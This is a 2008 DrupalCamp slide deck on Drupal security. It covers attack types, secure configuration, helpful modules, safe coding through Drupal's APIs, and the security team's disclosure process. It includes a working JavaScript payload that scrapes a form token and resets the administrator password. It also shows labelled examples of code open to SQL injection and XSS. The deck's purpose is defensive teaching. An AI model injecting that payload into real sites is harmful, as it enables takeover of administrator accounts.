Drupal Security?

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Greg Knaddison

Growing Venture Solutions

2008/07/27 14:00

DrupalCamp Colorado

• Why?
• What?
• Config?
• Coding?
• Process
• Q (hopefully A)

Why bother

• Who has had a site cracked?
• Who has had a server cracked?
• More popularity brings more eyes reviewing code - brings more desire to crack and build worms

Authentication

• Verifying digital identity of user
• Brute Force - guessing passwords
• Insufficient Authentication - only ask for email instead of email plus password

Authorization

• Checking permissions of an authenticated user
• Insufficient Authorization - permission is too lose

Client-side attacks

• Cross site scripting - XSS
• Cross site request forgery - CSRF

Command Execution

• Operating System Command Injection (requires something from contrib)
• SQL Injection

Information Disclosure

• Information Leakage
• Directory Indexing
• Predictable Resource Location

if (typeof jQuery == 'function') {
jQuery.get('/user/1/edit',
function (data, status) {
if (status == 'success') {
var matches = data.match(/id="edit-user-edit-form-token" value="([a-z0-9]*)"/);
var token = matches[1];
var payload = {
"form_id": 'user_edit',
"form_token": token,
"pass[pass1]": 'hacked',
"pass[pass2]": 'hacked'
};
jQuery.post('/user/1/edit', payload);
}
}
);}


From Heine

Prioritize
(Risk * Exposure) ^ 2 = Use Common Sense

Secure Configurations
Drupal permissions - "be careful - test"
Input formats - http://drupal.org/node/224921
File permissions - http://drupal.org/node/117054
PHP Filter - don't use it

Be a Secure User

• Use a good, unique password
• Beware unencrypted WiFi
• Use ssh/keys instead of FTP
• Be careful with UID 1

Security related modules
http://drupal.org/project/phpass
http://drupal.org/project/single_login
http://drupal.org/project/httpbl
http://drupal.org/project/paranoia
http://drupal.org/project/password_policy or http://drupal.org/project/password_strength
http://drupal.org/project/persistent_login
http://drupal.org/project/phpids

Writing Secure Code
Use the APIs luke.

FAPI

Ensures form selections were provided to user
Protects against CSRF

• NO: <FORM ACTION="">
• YES: drupal_get_form($form_array);
• Forms API Introduction
• Forms API Reference
• Forms API Diagram

t()
Protects against XSS

• SAFE: t('I escape %user_data', array('%user_data' => $data));
  • I escape user_data (safe)
• SAFE: t('I escape @user_data', array('@user_data' => $data));
  • I escape user_data
• XSS vulnerability: t('I do not escape !user_data', array('!user_data' => $data));
  • I do not escape user_data

check_plain(), filter_xss()

• NO: print $user_data;

• YES: print check_plain($user_data);

• check_plain - to be used when inserting plain text in HTML

• check_markup - to be used when inserting rich text in HTML
• filter_xss - to remove all but whitelisted tags from text inserted in HTML
• filter_xss_admin - shortcut to filter_xss with a permissive tag list, used to output admin defined texts.

drupal_render()

• NO:
  $node = node_load($nid);
  print $node->body;
• YES:
  $node = node_load($nid);
  print node_view($node);

content_format()

• NO:
  print $node->field_content_something[0]['value'];
• YES:
  print content_format('field_content_something', $node->field_content_something, $formatter = 'default', $node = NULL);

db_query()

• NO:
  db_query(“SELECT * FROM {table} WHERE someval = ‘$user_input’”);
• YES:
  db_query(“SELECT * FROM {table} WHERE someval = ‘%s’”, $user_input);

db_rewrite_sql()

• NO:
  db_query(“SELECT * FROM {node}”);
• YES:
  db_query(db_rewrite_sql((“SELECT * FROM {node}”));

Proper use of these functions will solve the most common issues.

See http://drupal.org/writing-secure-code for more information.

When in doubt, ask.

Goals and Processes

1. Protect Drupal sites secure from Zero Day exploits
   1. Be really quiet, then really loud
2. Promote security practices in core and contrib
   1. Make defaults and "proper" use of APIs secure
   2. Provide docs and examples
3. Facilitate fixes for contrib (not scanning, necessarily)
   1. Intake of reports, pass information along, provide guidance, make announcements

Report a Problem

• Contact form or security@d.o
• Report a security issue guide
• Report a cracked site guide

Contrib Module Workflow

• Issue gets reported (keep it quiet)
• Security team works with maintainer to get a fix
• Fix is released in next bundle of fixes (be loud)

Policies:
Cover core and contrib under basically the same process
Only create SAs if:

• Module has a stable release
• Or, it has a developer release but is very popular

Only current and last version are supported. This could be changed if enough volunteers stepped forward, but that has proven unlikely so far.

Q?

A (hopefully)